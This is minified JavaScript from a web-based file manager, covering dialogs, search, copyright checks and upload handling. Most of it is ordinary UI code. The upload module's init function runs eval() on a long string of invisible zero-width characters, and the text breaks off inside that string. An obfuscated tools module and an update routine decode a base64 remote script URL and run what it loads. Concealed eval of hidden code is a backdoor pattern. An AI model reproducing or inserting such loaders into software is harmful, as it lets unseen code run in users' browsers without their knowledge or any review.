    ",a=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==i.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(a?a.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,i){var t="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(t="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:t,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof i&&i(e.data.content)}})},fileInfo:function(e,i){var t="index.php?explorer/pathInfo";G.share_page!==void 0&&(t="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof i&&i(e)}})},fileLink:function(e,i){var t='list=[{"type":"file","path":"'+urlEncode(e)+'"}]';this.fileInfo(t,function(e){var t=e.code?e.data.download_path:!1;return t?("function"==typeof i&&i(t),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(i){i.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:610})},copyright:function(){var e=require("./tpl/copyright.html"),i=template.compile(e),t=ShareData.frameTop();t.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:i({LNG:LNG,G:G})}),t.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,i){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var t="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="";$.dialog({follow:i,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var i=ShareData.frameTop(),t=i.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return t},openDialog:function(e,i,t,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:t,ico:i,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(i){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,i){void 0==e&&(e=""),void 0==i&&(i=core.pathThis(e));var t="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(t="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(t,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:i,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var i="index.php?/editor&project="+e;G.share_page!==void 0&&(i="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(i)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var i=G.static_path+"style/skin/"+e+".css";i!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),i="kod_diy_style",t=LocalData.getConfig(i);"object"!=typeof t&&"object"==typeof G.user_config.theme_diy&&(t=G.user_config.theme_diy),"object"!=typeof t&&(t={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(i,t)),G.user_config.theme_diy=t;var a="";if("diy"==e&&t){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(t)}$.setStyle(a,i)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),i=e.document.documentElement;i.requestFullscreen?i.requestFullscreen():i.mozRequestFullScreen?i.mozRequestFullScreen():i.webkitRequestFullScreen&&i.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,i,t){var a=UUID();(t===void 0||""==t)&&(t=a);var n=''+''+''+''+''+''+'
    loading..
    ';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var i=ShareData.frameTop();e=i.$("."+a)}if(1==e.length)var t=0,n=e[0],o=setInterval(function(){try{t++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):t>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(i){}},100)},50),n},userSpaceHtml:function(e){var i=e.split("/"),t=parseFloat(i[0]),a=1073741824*parseFloat(i[1]),n=core.fileSize(parseFloat(i[0])),o=core.fileSize(a),s=n+"/",r=100*t/a;return r>=100&&(r=100),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
    "+"
    "+s+"
    "+"
    "},fileSize:function(e,i){if(void 0==e||""==e)return"";if(void 0==i&&(i=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var t={G:1073741824,M:1048576,K:1024,B:1};for(var a in t)if(e>=t[a])return(e/t[a]).toFixed(i)+a},uploadCheck:function(e,i){return i=void 0==i?!0:i,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(i&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(i&&Tips.tips(LNG.no_permission_write,!1),!1):core.isSystemPath(G.this_path)?(i&&Tips.tips(LNG.path_can_not_action,!1),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
  • \n
    \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
    \n
  • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
  • \n
    \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
    \n
      \n {{each v.search_info as value index}}\n
    • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
    • \n {{/each}}\n
    \n
  • \n {{else}}\n
  • \n
    \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
    \n
  • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
    \n \n
    \n
    \n
    \n
    {{LNG.upload_select}}
    \n \n \n \n
    \n \n \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    {{LNG.download_address}}\n
    \n \n \n \n
    \n\n
    \n
    \n
    \n
    \n
    \n
    \n
    \n'),define("app/common/core.search",[],function(){return function(e,i){var t,a,n=function(){var n=trim(core.pathClear(i),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);0==$(".dialog_do_search").length?(t=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=i,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l(),$("#search_ext").tooltip({placement:"bottom",html:!0}),$("#search_path").tooltip({placement:"bottom",html:!0,title:function(){return $("#search_path").val()}})):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(i),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var i=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(i,''+i+"");else{var t=e.toLowerCase().indexOf(i.toLowerCase());e=e.substr(0,t)+''+e.substr(t,i.length)+""+e.substr(t+i.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var i=$(this).parent();return i.toggleClass("open"),i.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path")),a=core.pathFather(t); -return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(t)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));return ui.pathOpen.open(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var i="box_search_config";if(void 0==e){var e=LocalData.getConfig(i);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(i,e)},d=function(e){var i=$(".file-items"),t=$(".search_desc");if(!e.code)return t.html(e.data),i.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return t.html(LNG.search_null),i.html(""),void 0;var n=template.compile(search_list_tpl);if(i.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);t.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&t.html(""+LNG.seach_result_too_more+"")}else t.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var i=$(".file-items"),t=$(".search_desc");if(!e.search||!e.path)return t.html(LNG.search_info),i.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){t.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),t.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var i=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],t=function(){var e=i[0];if(typeof G[i[1]]==i[2])return e;var t=i[3],a=authCrypt[i[4]](G[i[1]],t);return a&&27==a[i[5]]?(e=a[i[6]](10,1),-1===$[i[10]](e,[i[0],i[7],i[8],i[9]])&&(e=i[0]),e):e},a=t(),n=i[11],o=function(){var e=hashDecode(i[12]);G[i[13]]!=i[14]&&(e=hashDecode(i[15])),alert(e),Tips[i[16]](e,!1),$(i[18])[i[17]](),setTimeout(function(){Tips[i[19]](e,!1),window[i[21]][i[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[i[4]](i[22],i[23]),r=authCrypt[i[4]](i[24],i[25]),l=function(){if(typeof Config!=i[2]&&Config[i[26]]==i[27]&&a==i[0])for(var e=[{key:LNG[i[28]],find:s},{key:LNG[i[29]],find:s},{key:LNG[i[30]],find:r},{key:LNG[i[31]],find:s},{key:LNG[i[32]],find:r},{key:$(i[34])[i[33]](),find:s}],t=0;e[i[5]]>t;t++){e[t][i[35]]||(e[t][i[35]]=i[36]);var n=e[t][i[35]][i[37]](),l=e[t][i[38]][i[37]]();if(-1==n[i[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:i[40],O:i[41],P:i[42],Q:i[43]},t=i[44]+e[a],o=i[45]+t+i[46]+LNG[t]+i[47];a==i[0]&&$(o)[i[49]](i[48]),$(i[65])[i[64]](i[50])[i[63]](i[50],function(){if($(this)[i[52]](i[51])==i[53]){var e=core[i[55]](core[i[54]]),t=i[56]+n+i[57];e[i[61]][i[60]][i[38]](i[59])[i[58]](t)}else Tips[i[19]]($(this)[i[62]]())}),$(i[65])[i[67]](function(){window[i[66]][i[21]][i[20]]=n})},d=function(){a==i[0]&&$(i[70])[i[69]](i[68]),-1!==$[i[10]](a,[i[7],i[8],i[9]])&&$(i[72])[i[71]]()},p=function(){core[i[73]]=function(e,t){return i[74]+e+(t?i[75]:i[36])+i[76]},core[i[77]]=function(e){return core[i[73]](e,!0)},core[i[78]]=iconSrc=function(e){return i[79]+e+i[80]},setTimeout(function(){var t=base64Decode(i[81])+i[82]+UUID();e[i[84]](t,function(e){try{e[i[83]]()}catch(t){}})},2e3),core[i[85]]=a,core[i[86]]=core[i[87]],core[i[54]]=hashDecode(i[88])+G[i[13]],l(),c(),d()},u=function(e){return a==i[0]&&-1==e[i[37]]()[i[39]](s)?(o(),!1):!0},f=function(e,t){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(t==i[89]?(n=e[i[90]],o=s[a]):(n=e[i[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,i){core.uploadCheck("explorer:serverDownload");var t=$(".download_box"),a=t.find(".download_list");if(t.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
    '+'
    '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
    ';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('
    ').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)};$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+i+"&url="+urlEncode(e)+"&uuid="+n,dataType:"json",error:function(e,i,t){core.ajaxError(e,i,t),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)},success:function(e){clearInterval(s),s=!1,clearTimeout(r),r=!1,e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").html(e.info)):p.addClass("error").text(LNG.error),u.parent().remove()}});var m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var i="",t=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(t){if(t.size=parseFloat(t.size),t.time=parseFloat(t.time),l){var a=(t.size-l.size)/(t.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;i=core.fileSize(a)+"/s"}if(0==t.length)d.find(".progress-bar").css("width","100%").text(LNG.loading);else{var o=100*(t.size/t.length);d.find(".progress-bar").css("width",o+"%"),p.text(parseInt(o)+"%("+i+")")}d.find(".size").text(core.fileSize(t.length)),d.find(".title").text(t.name),l=t}}}})};r=setTimeout(function(){m(),s=setInterval(function(){m()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var i=template.compile(upload_tpl),t=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:i({LNG:LNG,maxsize:t}),close:function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .tips").tooltip({placement:"bottom"}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),i=0;e.length>i;i++)core.serverDwonload(e[i],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=10485760;chunkSize>=G.upload_max&&(chunkSize=.6*G.upload_max),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍